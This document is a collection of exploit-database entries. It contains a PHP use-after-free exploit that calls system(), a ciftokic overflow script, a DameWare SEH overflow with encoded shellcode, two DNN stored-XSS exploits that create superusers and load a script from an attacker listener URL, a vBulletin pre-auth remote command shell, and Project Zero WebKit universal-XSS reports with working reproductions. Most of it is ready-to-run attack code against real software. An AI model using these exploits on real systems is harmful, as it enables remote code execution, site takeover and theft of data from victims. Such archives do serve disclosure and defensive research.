            if($p_type == 0x6474e552) { # PT_GNU_RELRO
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    public function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = $this->leak2($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $text_size) {
                $deref = $this->leak2($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = $this->leak2($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $text_size) {
                $deref = $this->leak2($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    public function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = $this->leak2($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    public function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = $this->leak2($addr);
            $f_name = $this->leak2($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return $this->leak2($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    public function jsonSerialize() {
        global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;

        $contiguous = [];
        for($i = 0; $i < $n_alloc; $i++)
            $contiguous[] = new DateInterval('PT1S');

        $room = [];
        for($i = 0; $i < $n_alloc; $i++)
            $room[] = new Z();

        $_protector = $this->ptr2str(0, 78);

        $this->abc = $this->ptr2str(0, 79);
        $p = new DateInterval('PT1S');

        unset($y[0]);
        unset($p);

        $protector = ".$_protector";

        $x = new DateInterval('PT1S');
        $x->d = 0x2000;
        $x->h = 0xdeadbeef;
        # $this->abc is now of size 0x2000

        if($this->str2ptr($this->abc) != 0xdeadbeef) {
            die('UAF failed.');
        }

        $spl1 = new MySplFixedArray();
        $spl2 = new MySplFixedArray();

        # some leaks
        $class_entry = $this->str2ptr($this->abc, 0x120);
        $handlers = $this->str2ptr($this->abc, 0x128);
        $php_heap = $this->str2ptr($this->abc, 0x1a8);
        $abc_addr = $php_heap - 0x218;

        # create a fake class_entry
        $fake_obj = $abc_addr;
        $this->write($this->abc, 0, 2); # type
        $this->write($this->abc, 0x120, $abc_addr); # fake class_entry

        # copy some of class_entry definition
        for($i = 0; $i < 16; $i++) {
            $this->write($this->abc, 0x10 + $i * 8, 
                $this->leak1($class_entry + 0x10 + $i * 8));
        }

        # fake static members table
        $fake_tbl_off = 0x70 * 4 - 16;
        $this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
        $this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);

        # fake zval_reference
        $this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
        $this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)

        # look for binary base
        $binary_leak = $this->leak2($handlers + 0x10);
        if(!($base = $this->get_binary_base($binary_leak))) {
            die("Couldn't determine binary base address");
        }

        # parse elf header
        if(!($elf = $this->parse_elf($base))) {
            die("Couldn't parse ELF");
        }

        # get basic_functions address
        if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
            die("Couldn't get basic_functions address");
        }

        # find system entry
        if(!($zif_system = $this->get_system($basic_funcs))) {
            die("Couldn't get zif_system address");
        }
        
        # copy hashtable offsetGet bucket
        $fake_bkt_off = 0x70 * 5 - 16;

        $function_data = $this->str2ptr($this->abc, 0x50);
        for($i = 0; $i < 4; $i++) {
            $this->write($this->abc, $fake_bkt_off + $i * 8, 
                $this->leak2($function_data + 0x40 * 4, $i * 8));
        }

        # create a fake bucket
        $fake_bkt_addr = $abc_addr + $fake_bkt_off;
        $this->write($this->abc, 0x50, $fake_bkt_addr);
        for($i = 0; $i < 3; $i++) {
            $this->write($this->abc, 0x58 + $i * 4, 1, 4);
        }

        # copy bucket zval
        $function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
        for($i = 0; $i < 12; $i++) {
            $this->write($this->abc,  $fake_bkt_off + 0x70 + $i * 8, 
                $this->leak2($function_zval, $i * 8));
        }

        # pwn
        $this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
        $this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);

        $spl1->offsetGet($cmd);

        exit();
    }
}

$y = [new Z()];
json_encode([&$y]);
            
# Exploit Title: Ciftokic 2.4a - DoS Buffer Overflow
# Date: September 30, 2019
# Exploit Author: @JosueEncinar
# Software Link: http://launchpad.net/ubuntu/+source/kic/2.4a-1
# Version: 2.4a 
# Tested on: Ubuntu 18.04

'''
If we check the ciftokic.c file on line 52 we see the following code: char CIFFile[81], *Tmp;.  
In line 84 we have the problem with the following instruction: strcpy(CIFFile,argv[1]);

If the first argument is 80 characters or less, nothing happens, but if we put from 81 onwards the program fails with a Buffer Overflow.
'''

# To test the code use Python 3.6+
from os import system
from sys import argv


def print_usage():
    print("Usage: python3 ciftokic_overflow.py <characters_numbers>")
    print("      |_No Buffer Overflow: python3 ciftokic_overflow.py 80")
    print("      |_Buffer Overflow: python3 ciftokic_overflow.py 81")

if len(argv) == 1:
    print_usage()
else:
    try:
        number = int(argv[1])
        payload = "J"*number
        system(f"ciftokic {payload}")
    except:
        print_usage()


"""

Output Example:

josue@josue:~/Escritorio$ python3 ciftokic_overflow.py 80
Error: can't read CIF input file JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
josue@josue:~/Escritorio$ python3 ciftokic_overflow.py 81
*** buffer overflow detected ***: ciftokic terminated
Aborted (core dumped)

"""
            
#!/usr/bin/env python
# Author: Xavi Beltran
# Contact: xavibeltran@protonmail.com
# Exploit Development: https://xavibel.com/2019/08/31/seh-based-local-buffer-overflow-dameware-remote-support-v-12-1-0-34/
# Date: 14/7/2019

# Description:
#           SEH based Buffer Overflow
#			DameWare Remote Support V. 12.1.0.34
#           Tools >> Computer Comments >> Description

# msf-pattern_offset -q "37694136" -l 5000
# [*] Exact match at offset 260
junk1 = "\x41" * 260

# Unicode compatible padding
nseh  = "\x61\x43"

# 0x007a0021 : pop esi # pop edi # ret
# startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READ} [DNTU.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v12.1.0.34 (C:\Program Files\SolarWinds\DameWare Remote Support\DNTU.exe)
seh   = "\x21\x7a"

# Put shellcode memory address in EAX, push it to the stack and RETN
# 20 bytes
align  = ""
align += "\x43" * 10                # Padding
align += "\x58"                     # POP EAX
align += "\x73"                     # Venetian padding
# 0012F590   83C0 50          ADD EAX,50
align += u"\uC083" + "\x50"         # ADD EAX, 50
align += "\x73"                     # Venetian padding
align += "\x50"                     # PUSH EAX
align += "\x73"                     # Venetian padding
align +=  u'\uC3C3'                 # RETN

# 1348
junk2 = "\x43" * 18

# 7FFDD066 + 2 memory address contains the value FFFF0000
# This value is going to be placed in EBX 
# And it doesn't break the execution flow
junk3 = "\x44" * 550 + u"\uD066" + u"\u7FFD" # u"\xF0FF"

# msfvenom -p windows/exec CMD=calc -f raw > shellcode.raw
# ./alpha2 eax --unicode --uppercase < shellcode.raw
# 508 bytes
shellcode = "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLYX4BM0M0KPQP4IZEP17PQTDKPPNPTK1BLLDK1BLTTKT2MXLOVWPJMV01KO6LOLS13LM2NLMPWQHOLMM1WWK2KBPR27TKPRLP4K0JOLTK0LN1D8K3OXKQJ1R1TKPYMPM1HS4KPILXYSOJQ9DKOD4KM1XVNQKO6LGQ8OLMM1WWP89PRUZVLCSMKHOKSMMT2UJD1HDKQHNDKQJ31VTKLL0K4K1HMLM1J3DKKTTKM1HP3YQ4O4ND1K1KQQR9PZ0QKOYPQOQOQJDKLRZKTM1MRJM1DMCUH2KPKPKPPPQXP1TKBOU7KOHUWKL07EFB0V38W6V5WMUMKOJ5OLM63LLJ3PKKIP2UKUWK17MCBRROQZM0B3KOZ51S1Q2LQSKPA"

crash = junk1 + nseh + seh + align + junk2 + shellcode + junk3

print(crash)
            
# Exploit Title: Stored Cross-Site Scripting in DotNetNuke (DNN) Version before 9.4.0
# Exploit Description : This exploit will add a superuser to target DNN website. 
# Exploit Condition : Successful exploitation occurs when an admin user visits a notification page.
# Exploit Author: MAYASEVEN
# CVE : CVE-2019-12562 (https://www.cvedetails.com/cve/CVE-2019-12562/)
# Github : https://github.com/MAYASEVEN/CVE-2019-12562
# Website : https://mayaseven.com

import urllib.request
from bs4 import BeautifulSoup

####################################################################################################
################################## Config the variables here #######################################
####################################################################################################
TARGET_URL = "http://targetdomain/DotNetNuke"
USERNAME = "MAYASEVEN"   # At least five characters long
PASSWORD = "P@ssw0rd" # At least 0 non-alphanumeric characters, At least 7 characters
EMAIL = "research@mayaseven.com" # Change email to any you want
# A web server for listening an event
LISTEN_URL = "http://yourdomain.com:1337"
#####################################################################################################
#####################################################################################################
#####################################################################################################

# Payload to add a superuser to website
PAYLOAD = "John<script src='"+LISTEN_URL+"/payload.js'></script>"
FILE_CONTENT = """var token = document.getElementsByName("__RequestVerificationToken")[0].value;
var xhttp = new XMLHttpRequest();
var params = "{'firstName':'"""+USERNAME+"""','lastName':'"""+USERNAME+"""','email':'"""+EMAIL+"""','userName':'"""+USERNAME+"""','password':'"""+PASSWORD+"""','question':'','answer':'','randomPassword':false,'authorize':true,'notify':false}";
xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
        var returnhttp1 = new XMLHttpRequest();
        returnhttp1.open("GET", '"""+LISTEN_URL+"""/Added_the_user');
        returnhttp1.send();
        var xhttp2 = new XMLHttpRequest();
        var userId = JSON.parse(xhttp.responseText).userId;
        xhttp2.onreadystatechange = function() {
            if (this.readyState == 4 && this.status == 200) {
                var returnhttp2 = new XMLHttpRequest();
                returnhttp2.open("GET", '"""+LISTEN_URL+"""/Make_superuser_success');
                returnhttp2.send();
            }
        }
        xhttp2.open('POST', '"""+TARGET_URL+"""/API/PersonaBar/Users/UpdateSuperUserStatus?userId='+userId+'&setSuperUser=true', true);
        xhttp2.setRequestHeader('Content-type', 'application/json; charset=UTF-8');
        xhttp2.setRequestHeader('RequestVerificationToken', token);
        xhttp2.send(params);
    }
};
xhttp.open('POST', '"""+TARGET_URL+"""/API/PersonaBar/Users/CreateUser', true);
xhttp.setRequestHeader('Content-type', 'application/json; charset=UTF-8');
xhttp.setRequestHeader('RequestVerificationToken', token);
xhttp.send(params);
"""

def create_payload():
    # Create a payload.js file
    f = open("payload.js", "w")
    f.write(FILE_CONTENT)
    f.close()

def check_target():
    global regpage
    reg = urllib.request.urlopen(TARGET_URL+"/Register")
    regpage = reg.read().decode("utf8")
    reg.close()
    if "dnn" in regpage:
       return True
    else: return False

def exploit():
    # Fetching parameter from regpage
    soup = BeautifulSoup(regpage, 'html.parser')
    formhtml = soup.find("div", {"id": "dnn_ctr_Register_userForm"})
    inputdata = BeautifulSoup(regpage, 'html.parser').findAll("input")
    param = {}
    print(" [+] Fetching DNN random parameter name.")
    for i in soup.select('input[name*="_TextBox"]'):
        print(" [+]", i["aria-label"],":", i["name"])
        param[i["aria-label"]] = i["name"]
    ScriptManager = "dnn$ctr$Register_UP|dnn$ctr$Register$registerButton"
    __EVENTVALIDATION = soup.find("input", {"id": "__EVENTVALIDATION"})["value"]
    __VIEWSTATE = soup.find("input", {"id": "__VIEWSTATE"})["value"]
    __EVENTTARGET = "dnn$ctr$Register$registerButton"

    # Posting data to target
    headers = {'Content-Type': 'application/x-www-form-urlencoded; charset=utf-8'}
    data = {'ScriptManager': ScriptManager, '__EVENTVALIDATION': __EVENTVALIDATION, '__VIEWSTATE': __VIEWSTATE, '__EVENTTARGET': __EVENTTARGET,
        param['Username']: "dummy_"+USERNAME, param["Password"]: PASSWORD, param["PasswordConfirm"]: PASSWORD, param["DisplayName"]: PAYLOAD, "dummy_"+param["Email"]: EMAIL, '__ASYNCPOST': 'true'}
    data = urllib.parse.urlencode(data).encode()
    req = urllib.request.Request(TARGET_URL+"/Register", data=data, headers=headers)
    response = urllib.request.urlopen(req)
    if "An email with your details has been sent to the Site Administrator" in response.read().decode("utf8"):
        create_payload()
        return True
    elif "A user already exists" in response.read().decode("utf8"):
        print(" [!] The user already exists")
        return False 
    elif "The Display Name is invalid." in response.read().decode("utf8"):
        print(" [!] DotNetNuke verion already been patched")
    else: return False

def main():
    print("[ Checking the target ]")
    if(check_target()):
        print(" [+] Target is DNN website.")
        print(" [+] URL: %s" % TARGET_URL)
    else:
        print(" [!] Target is not DNN website and exploit will not working.")
        return
    print("[ Running an exploit ]")
    if(exploit()):
        print("[ Successful exploited the target ]")
        print("> Creating a payload.js file in current directory.")
        print("> You have to serve the web server and place payload.js on it.")
        print("> And waiting admin to open a notification then the user will be added.")
        print("> Username: %s" % USERNAME)
        print("> Password: %s" % PASSWORD)
    else:
        print(" [!] Failed to exploit the target.")
        return

if(__name__ == "__main__"):
    main()
            
#!/usr/bin/python
#
# vBulletin 5.x 0day pre-auth RCE exploit
# 
# This should work on all versions from 5.0.0 till 5.5.4
#
# Google Dorks:
# - site:*.vbulletin.net
# - "Powered by vBulletin Version 5.5.4"

import requests
import sys

if len(sys.argv) != 2:
    sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0])

params = {"routestring":"ajax/render/widget_php"}

while True:
     try:
          cmd = raw_input("vBulletin$ ")
          params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"'); exit;"
          r = requests.post(url = sys.argv[1], data = params)
          if r.status_code == 200:
               print r.text
          else:
               sys.exit("Exploit failed! :(")
     except KeyboardInterrupt:
          sys.exit("\nClosing shell...")
     except Exception, e:
          sys.exit(str(e))
            
<!--
VULNERABILITY DETAILS
```
static Editor::Command command(Document* document, const String& commandName, bool userInterface = false)
{
    RefPtr<Frame> frame = document->frame();
    if (!frame || frame->document() != document) // ***1***
        return Editor::Command();

    document->updateStyleIfNeeded(); // ***2***

    return frame->editor().command(commandName,
        userInterface ? CommandFromDOMWithUserInterface : CommandFromDOM);
}

bool Document::execCommand(const String& commandName, bool userInterface, const String& value)
{
    EventQueueScope eventQueueScope;
    return command(this, commandName, userInterface).execute(value);
}
```

This bug is similar to https://bugs.chromium.org/p/project-zero/issues/detail?id=1133. `command`
calls `updateStyleIfNeeded`[2], which might trigger JavaScript execution, e.g., via
`HTMLObjectElement::updateWidget`. If the JS code triggers a new page load, the editor command will
be applied to the wrong page. The method checks that the `document` argument is the document that's
currently displayed on the page, but it does so *before* the `updateStyleIfNeeded` call. An attacker
can exploit this bug to execute the "InsertHTML" command and run JavaScript in the context of the
victim page.


VERSION
WebKit revision 246194
Safari version 12.1.1 (14607.2.6.1.1)


REPRODUCTION CASE
The test case requires the victim page to have a selected element when the load is complete. A
common suitable case is when the page contains an autofocused <input> element.

```
<body>
<script>
function createURL(data, type = 'text/html') {
    return URL.createObjectURL(new Blob([data], {type: type}));
}

function waitForLoad() {
  showModalDialog(createURL(`
    <script>
    let it = setInterval(() => {
      try {
        opener.w.document.x;
      } catch (e) {
        clearInterval(it);

        window.close();
      }
    }, 100);
    </scrip` + 't>'));
}

victim_url = 'https://trac.webkit.org/search';

cache_frame = document.body.appendChild(document.createElement('iframe'));
cache_frame.src = victim_url;
cache_frame.style.display = 'none';

onclick = () => {
  w = open();

  obj = document.createElement('object');
  obj.data = 'about:blank';
  obj.addEventListener('load', function() {
    a = w.document.createElement('a');
    a.href = victim_url;
    a.click();

    waitForLoad();
  });
  w.document.body.appendChild(obj);

  w.document.execCommand('insertHTML', false,
    '<iframe onload="alert(document.documentElement.outerHTML)" src="about:blank"></iframe>');
}
</script>
</body>
```

repro_iframe.html contains a version that uses an <iframe> instead of a new window and works in
Safari 12.1.1.


CREDIT INFORMATION
Sergei Glazunov of Google Project Zero
-->

<body>
<script>
function createURL(data, type = 'text/html') {
  return URL.createObjectURL(new Blob([data], {type: type}));
}

function waitForLoad() {
  showModalDialog(createURL(`
    <script>
    let it = setInterval(() => {
      try {
        opener.w.document.x;
      } catch (e) {
        clearInterval(it);

        window.close();
      }
    }, 100);
    </scrip` + 't>'));
}


victim_url = 'data:text/html,<h1>secret data</h1><input autofocus>';

cache_frame = document.body.appendChild(document.createElement('iframe'));
cache_frame.src = victim_url;
cache_frame.style.display = 'none';

victim_frame = document.body.appendChild(document.createElement('iframe'));
victim_frame.style.width = victim_frame.style.height = '100%';
victim_frame.contentDocument.write('<h1>click to start</h1>');

victim_frame.contentWindow.onclick = (() => {
  obj = document.createElement('object');
  obj.data = 'about:blank';
  obj.addEventListener('load', function() {
    a = victim_frame.contentDocument.createElement('a');
    a.href = victim_url;
    a.click();

    waitForLoad();
  });
  victim_frame.contentDocument.body.appendChild(obj);

  victim_frame.contentDocument.execCommand('insertHTML', false,
    '<iframe onload="alert(document.firstChild.outerHTML)" src="about:blank"></iframe>');
});
</script>
</body>
            
/*
Exploit Title: "Display Name" Stored Unauthenticated XSS in DNN v9.3.2
Date: 4th of July, 2019
Exploit Author: Semen Alexandrovich Lyhin
Vendor Homepage: https://www.dnnsoftware.com/
Software Link: https://github.com/dnnsoftware/Dnn.Platform/releases
Version: v9.3.2
CVE : CVE-2019-13293

A malicious unauthenticated person can attempt to register a user with the XSS payload in "Display Name" parameter. 
The administrator of the website will see a notification that a new user needs to be approved.
An administrator should click on this notification, and the JavaScript code will be executed in the administrator's browser.

This exploit adds the user, and grants him administrator priviliges. 

A native module "module creator" also allows remote code execution. 

*/



function ApproveNotification(baseurl, id) {
	return new Promise(function (resolve, reject) {	
		var url = baseurl + "/Activity-Feed/Messages/";
		var xhr = new XMLHttpRequest();
		xhr.onreadystatechange = function () {
			if (xhr.readyState == 4) {
				var data;
				if (!xhr.responseType === "text") {
					data = xhr.responseText;
				} else if (xhr.responseType === "document") {
					data = xhr.responseXML;
				} else {
					data = xhr.response;
				}

				var parser = new DOMParser();
				var resp = parser.parseFromString(data, "text/html");
				token = resp.getElementsByName('__RequestVerificationToken')[0].value; //grab first available token
				
				var post_params = "NotificationId=" + id;
				var x1 = new XMLHttpRequest();
				
				x1.open("POST", baseurl + "/API/InternalServices/NewUserNotificationService/Authorize");
				x1.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=utf-8");
				x1.setRequestHeader('RequestVerificationToken', token);
				x1.send(post_params);
				resolve();
			}
		}
		xhr.open('GET', url, true);
		xhr.send(null);
	});
}

function MakeSuperAdmin(baseurl, id) {
	return new Promise(function (resolve, reject) {	
		var url = baseurl + "/Activity-Feed/Messages/";
		var xhr = new XMLHttpRequest();
		xhr.onreadystatechange = function () {
			if (xhr.readyState == 4) {
				var data;
				if (!xhr.responseType === "text") {
					data = xhr.responseText;
				} else if (xhr.responseType === "document") {
					data = xhr.responseXML;
				} else {
					data = xhr.response;
				}

				var parser = new DOMParser();
				var resp = parser.parseFromString(data, "text/html");
				token = resp.getElementsByName('__RequestVerificationToken')[0].value; //grab first available token
				
				var post_params = "null"
				var x1 = new XMLHttpRequest();
				
				x1.open("POST", baseurl + "/API/PersonaBar/Users/UpdateSuperUserStatus?userId=" + id + "&setSuperUser=true");
				x1.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=utf-8");
				x1.setRequestHeader('RequestVerificationToken', token);
				x1.send(post_params);
				resolve();
			}
		}
		xhr.open('GET', url, true);
		xhr.send(null);
	});
}

function GetNotification(baseurl, username, moduleid, tabid) {
	return new Promise(function (resolve, reject) {	
		var url = baseurl +"/dotnetnuke/Activity-Feed/Messages/"
		var xhr = new XMLHttpRequest();
		xhr.onreadystatechange = function () {
			if (xhr.readyState == 4) {
				var data;
				if (!xhr.responseType === "text") {
					data = xhr.responseText;
				} else if (xhr.responseType === "document") {
					data = xhr.responseXML;
				} else {
					data = xhr.response;
				}

				var parser = new DOMParser();
				var resp = parser.parseFromString(data, "text/html");
				token = resp.getElementsByName('__RequestVerificationToken')[0].value; //grab first available token
				
				var x1 = new XMLHttpRequest();
				
				x1.open("GET", baseurl + "/API/CoreMessaging/MessagingService/Notifications?afterNotificationId=-1&numberOfRecords=1000&_=1562677665517", true);
				x1.setRequestHeader('ModuleId', moduleid);
				x1.setRequestHeader('TabId', tabid);
				x1.onreadystatechange = () => {
					
					if (x1.readyState == 4) {
						if (!x1.responseType === "text") {
							data = x1.responseText;
						} else if (x1.responseType === "document") {
							data = x1.responseXML;
						} else {
							data = x1.response;
						}
						
						//console.log(JSON.parse(data));
						data = JSON.parse(data);
						
						for (var key in data['Notifications']){
							if (data['Notifications'][key]['Body'].includes(username)) {
								resolve((data['Notifications'][key]['NotificationId']));
							};
						}
						reject();
					}
				}
				x1.send(null);
			}
		}
		xhr.open('GET', url, true);
		xhr.send(null);
	});
}

function GetUserId(baseurl, username, tabid) {
	return new Promise(function (resolve, reject) {	
		var url = baseurl +"/dotnetnuke/Activity-Feed/Messages/"
		var xhr = new XMLHttpRequest();
		xhr.onreadystatechange = function () {
			if (xhr.readyState == 4) {
				var data;
				if (!xhr.responseType === "text") {
					data = xhr.responseText;
				} else if (xhr.responseType === "document") {
					data = xhr.responseXML;
				} else {
					data = xhr.response;
				}

				var parser = new DOMParser();
				var resp = parser.parseFromString(data, "text/html");
				token = resp.getElementsByName('__RequestVerificationToken')[0].value; //grab first available token
				
				var x1 = new XMLHttpRequest();
				
				x1.open("GET", baseurl + "/API/PersonaBar/Users/GetUsers?searchText=" + username + "&filter=0&pageIndex=0&pageSize=10&sortColumn=&sortAscending=false", true);
				x1.setRequestHeader('TabId', tabid);
				x1.onreadystatechange = () => {
					if (x1.readyState == 4) {
						if (!x1.responseType === "text") {
							data = x1.responseText;
						} else if (x1.responseType === "document") {
							data = x1.responseXML;
						} else {
							data = x1.response;
						}
						
						//console.log(data);
						data = JSON.parse(data);
					    resolve((data['Results'][0]['userId']));
						
						reject();
					}
				}
				x1.send(null);
			}
		}
		xhr.open('GET', url, true);
		xhr.send(null);
	});
}


async function main(){
	var username = "nobody34567";
	var baseurl = "http://192.168.18.10/dotnetnuke/";
	var moduleid = "374"; 
	var tabid = "27"; //It's default ID of the module and tab, that should be used to get notification id. We can also parse it from the webpage. 
    var NotificationId = await GetNotification(baseurl, username, moduleid, tabid);
	await ApproveNotification(baseurl, NotificationId);
	var UserID = await GetUserId(baseurl, username, tabid);
	MakeSuperAdmin(baseurl, UserID);
}

main();
            
VULNERABILITY DETAILS
```
void DocumentWriter::replaceDocument(const String& source, Document* ownerDocument)
{
[...]
    begin(m_frame->document()->url(), true, ownerDocument); // ***1***

    // begin() might fire an unload event, which will result in a situation where no new document has been attached,
    // and the old document has been detached. Therefore, bail out if no document is attached.
    if (!m_frame->document())
        return;

    if (!source.isNull()) {
        if (!m_hasReceivedSomeData) {
            m_hasReceivedSomeData = true;
            m_frame->document()->setCompatibilityMode(DocumentCompatibilityMode::NoQuirksMode);
        }

        // FIXME: This should call DocumentParser::appendBytes instead of append
        // to support RawDataDocumentParsers.
        if (DocumentParser* parser = m_frame->document()->parser())
            parser->append(source.impl()); // ***2***
    }
```

```
bool DocumentWriter::begin(const URL& urlReference, bool dispatch, Document* ownerDocument)
{
[...]
    bool shouldReuseDefaultView = m_frame->loader().stateMachine().isDisplayingInitialEmptyDocument() && m_frame->document()->isSecureTransitionTo(url); // ***3***
    if (shouldReuseDefaultView)
        document->takeDOMWindowFrom(*m_frame->document());
    else
        document->createDOMWindow();

    // Per <http://www.w3.org/TR/upgrade-insecure-requests/>, we need to retain an ongoing set of upgraded
    // requests in new navigation contexts. Although this information is present when we construct the
    // Document object, it is discard in the subsequent 'clear' statements below. So, we must capture it
    // so we can restore it.
    HashSet<SecurityOriginData> insecureNavigationRequestsToUpgrade;
    if (auto* existingDocument = m_frame->document())
        insecureNavigationRequestsToUpgrade = existingDocument->contentSecurityPolicy()->takeNavigationRequestsToUpgrade();
    
    m_frame->loader().clear(document.ptr(), !shouldReuseDefaultView, !shouldReuseDefaultView);
    clear();

    // m_frame->loader().clear() might fire unload event which could remove the view of the document.
    // Bail out if document has no view.
    if (!document->view())
        return false;

    if (!shouldReuseDefaultView)
        m_frame->script().updatePlatformScriptObjects();

    m_frame->loader().setOutgoingReferrer(url);
    m_frame->setDocument(document.copyRef());
[...]
    m_frame->loader().didBeginDocument(dispatch); // ***4***

    document->implicitOpen();
[...]
```

`DocumentWriter::replaceDocument` is responsible for replacing the currently displayed document with
a new one using the result of evaluating a javascript: URI as the document's source. The method
calls `DocumentWriter::begin`[1], which might trigger JavaScript execution, and then sends data to
the parser of the active document[2]. If an attacker can perform another page load right before
returning from `begin` , the method will append an attacker-controlled string to a potentially
cross-origin document.

Under normal conditions, a javascript: URI load always makes `begin` associate the new document with
a new DOMWindow object. However, it's actually possible to meet the requirements of the
`shouldReuseDefaultView` check[3]. Firstly, the attacker needs to initialize the <iframe> element's
source URI to a sane value before it's inserted into the document. This will set the frame state to
`DisplayingInitialEmptyDocumentPostCommit`. Then she has to call `open` on the frame's document
right after the insertion to stop the initial load and set the document URL to a value that can pass
the `isSecureTransitionTo` check.

When the window object is re-used, all event handlers defined for the window remain active. So, for
example, when `didBeginDocument`[4] calls `setReadyState` on the new document, it will trigger the
window's "readystatechange" handler. Since `NavigationDisabler` is not active at this point, it's
possible to perform a synchronous page load using the `showModalDialog` trick.


VERSION
WebKit revision 246194
Safari version 12.1.1 (14607.2.6.1.1)


REPRODUCTION CASE
The attack won't work if the cross-origin document has no active parser by the time `begin` returns.
The easiest way to reproduce the bug is to call `document.write` from the victim page when the main
parsing task is complete. However, it's a rather artificial construct, so I've also attached another
test case, which works for regular pages, but it has to use a python script that emulates a slow web
server to run reliably.

```
<body>
<h1>Click to start</h1>
<script>
function createURL(data, type = 'text/html') {
    return URL.createObjectURL(new Blob([data], {type: type}));
}

function waitForLoad() {
    showModalDialog(createURL(`
        <script>
        let it = setInterval(() => {
            try {
                opener.frame.contentDocument.x;
            } catch (e) {
                clearInterval(it);
                window.close();
            }
        }, 2000);
        </scrip` + 't>'));
}

window.onclick = () => {
    frame = document.createElement('iframe');
    frame.src = location;
    document.body.appendChild(frame);

    frame.contentDocument.open();
    frame.contentDocument.onreadystatechange = () => {
        frame.contentWindow.addEventListener('readystatechange', () => {
            a = frame.contentDocument.createElement('a');
            a.href = victim_url;
            a.click();
            waitForLoad();
        }, {capture: true, once: true});
    }
    frame.src = 'javascript:"<script>alert(document.documentElement.outerHTML)</scr' + 'ipt>"';
}

victim_url = 'data:text/html,<script>setTimeout(() => document.write("secret data"), 1000)</scr' + 'ipt>';
ext = document.body.appendChild(document.createElement('iframe'));
ext.src = victim_url;
</script>
</body> 

```


CREDIT INFORMATION
Sergei Glazunov of Google Project Zero


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47450.zip